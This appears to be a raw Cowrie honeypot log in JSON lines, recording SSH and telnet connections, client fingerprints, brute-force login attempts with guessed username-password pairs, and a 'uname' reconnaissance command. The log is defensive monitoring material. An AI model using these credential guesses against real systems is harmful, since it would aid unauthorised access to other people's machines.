{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":34566,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ef194a8ebc3","protocol":"ssh","message":"New connection: 176.88.194.26:34566 (159.203.135.109:22) [session: 2ef194a8ebc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:57.059128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:57.063240Z","src_ip":"176.88.194.26","session":"2ef194a8ebc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:57.193933Z","src_ip":"176.88.194.26","session":"2ef194a8ebc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"arkserver1234","message":"login attempt [arkserver/arkserver1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:57.750836Z","src_ip":"176.88.194.26","session":"2ef194a8ebc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:36:58.884022Z","src_ip":"176.88.194.26","session":"2ef194a8ebc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":53340,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e5495897475","protocol":"ssh","message":"New connection: 103.59.94.61:53340 (159.203.135.109:22) [session: 6e5495897475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:31.690777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:31.694212Z","src_ip":"103.59.94.61","session":"6e5495897475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:31.935668Z","src_ip":"103.59.94.61","session":"6e5495897475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"precio01","password":"Precio01123!","message":"login attempt [precio01/Precio01123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:32.935133Z","src_ip":"103.59.94.61","session":"6e5495897475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:34.179320Z","src_ip":"103.59.94.61","session":"6e5495897475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":50254,"dst_ip":"10.17.0.5","dst_port":22,"session":"4103b2275cca","protocol":"ssh","message":"New connection: 172.187.200.190:50254 (10.17.0.5:22) [session: 4103b2275cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:53.721885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:53.726399Z","src_ip":"172.187.200.190","session":"4103b2275cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:53.812248Z","src_ip":"172.187.200.190","session":"4103b2275cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234567890","message":"login attempt [test/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:54.058718Z","src_ip":"172.187.200.190","session":"4103b2275cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:37:55.144751Z","src_ip":"172.187.200.190","session":"4103b2275cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":53718,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0377a222ffc","protocol":"ssh","message":"New connection: 172.105.63.214:53718 (159.203.135.109:22) [session: f0377a222ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:03.101280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:03.106915Z","src_ip":"172.105.63.214","session":"f0377a222ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.151.178.13","src_port":40360,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6f9e0e77351","protocol":"telnet","message":"New connection: 46.151.178.13:40360 (159.203.135.109:23) [session: d6f9e0e77351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:03.188909Z"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:03.302828Z","src_ip":"172.105.63.214","session":"f0377a222ffc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:03.386487Z","src_ip":"46.151.178.13","session":"d6f9e0e77351","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:03.429983Z","src_ip":"46.151.178.13","session":"d6f9e0e77351","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest1234","message":"login attempt [guest/guest1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:03.696701Z","src_ip":"172.105.63.214","session":"f0377a222ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:04.893757Z","src_ip":"172.105.63.214","session":"f0377a222ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":56258,"dst_ip":"159.203.135.109","dst_port":22,"session":"979a56f5616a","protocol":"ssh","message":"New connection: 162.120.6.20:56258 (159.203.135.109:22) [session: 979a56f5616a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:21.762651Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:21.834353Z","src_ip":"162.120.6.20","session":"979a56f5616a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":56264,"dst_ip":"159.203.135.109","dst_port":22,"session":"590652bf3552","protocol":"ssh","message":"New connection: 162.120.6.20:56264 (159.203.135.109:22) [session: 590652bf3552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:21.900971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:21.904656Z","src_ip":"162.120.6.20","session":"590652bf3552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:21.974447Z","src_ip":"162.120.6.20","session":"590652bf3552","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abc12345","message":"login attempt [root/abc12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:22.184046Z","src_ip":"162.120.6.20","session":"590652bf3552","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:22.349861Z","src_ip":"162.120.6.20","session":"590652bf3552","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:22.352185Z","src_ip":"162.120.6.20","session":"590652bf3552","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:22.424601Z","src_ip":"162.120.6.20","session":"590652bf3552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:22.428483Z","src_ip":"162.120.6.20","session":"590652bf3552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":35067,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcc21e8a4f0c","protocol":"ssh","message":"New connection: 2.57.121.25:35067 (10.17.0.5:22) [session: bcc21e8a4f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:27.604026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:27.608110Z","src_ip":"2.57.121.25","session":"bcc21e8a4f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:27.711324Z","src_ip":"2.57.121.25","session":"bcc21e8a4f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"02081994","message":"login attempt [user/02081994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:28.198326Z","src_ip":"2.57.121.25","session":"bcc21e8a4f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"02041993","message":"login attempt [user/02041993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:29.303558Z","src_ip":"2.57.121.25","session":"bcc21e8a4f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"02021994","message":"login attempt [user/02021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:30.409528Z","src_ip":"2.57.121.25","session":"bcc21e8a4f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"02021970","message":"login attempt [user/02021970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:31.516572Z","src_ip":"2.57.121.25","session":"bcc21e8a4f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01121982","message":"login attempt [user/01121982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:32.623137Z","src_ip":"2.57.121.25","session":"bcc21e8a4f0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:33.727987Z","src_ip":"2.57.121.25","session":"bcc21e8a4f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":41772,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4cfb27e1d9c","protocol":"ssh","message":"New connection: 20.244.18.126:41772 (159.203.135.109:22) [session: e4cfb27e1d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:36.519325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:36.523716Z","src_ip":"20.244.18.126","session":"e4cfb27e1d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:36.734586Z","src_ip":"20.244.18.126","session":"e4cfb27e1d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":35952,"dst_ip":"159.203.135.109","dst_port":22,"session":"25e57b2e5b31","protocol":"ssh","message":"New connection: 45.232.73.84:35952 (159.203.135.109:22) [session: 25e57b2e5b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:38:37.218016Z"}
